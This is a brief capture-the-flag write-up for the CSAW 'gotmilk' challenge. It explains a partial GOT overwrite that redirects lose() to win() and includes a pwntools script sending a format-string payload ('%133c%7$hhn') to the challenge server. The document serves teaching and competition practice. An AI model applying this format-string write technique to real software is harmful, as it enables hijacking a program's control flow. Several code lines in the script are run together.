Change lose@got address's least significant byte to match win@got address's least significant byte.
If you check the libmylib.so file, you will see that only the last byte differs.
The other way to verify it is to leak lose@got's address a bunch of times using `<lose_got_addr>%7$s` and you will also see the last byte remains constant.
```python#!/usr/bin/env python2
from pwn import *
elf = ELF('./gotmilk')p = remote('pwn.chal.csaw.io', 1004)
lose_got = elf.got['lose']
log.info('lose@got: ' + hex(lose_got))
payload = p32(lose_got)payload += '%133c%7$hhn' # Writes 0x89 to the last byte of lose@got, effectively changing it to win's address from libmylib.so
p.sendlineafter('? ', payload)
p.interactive()```
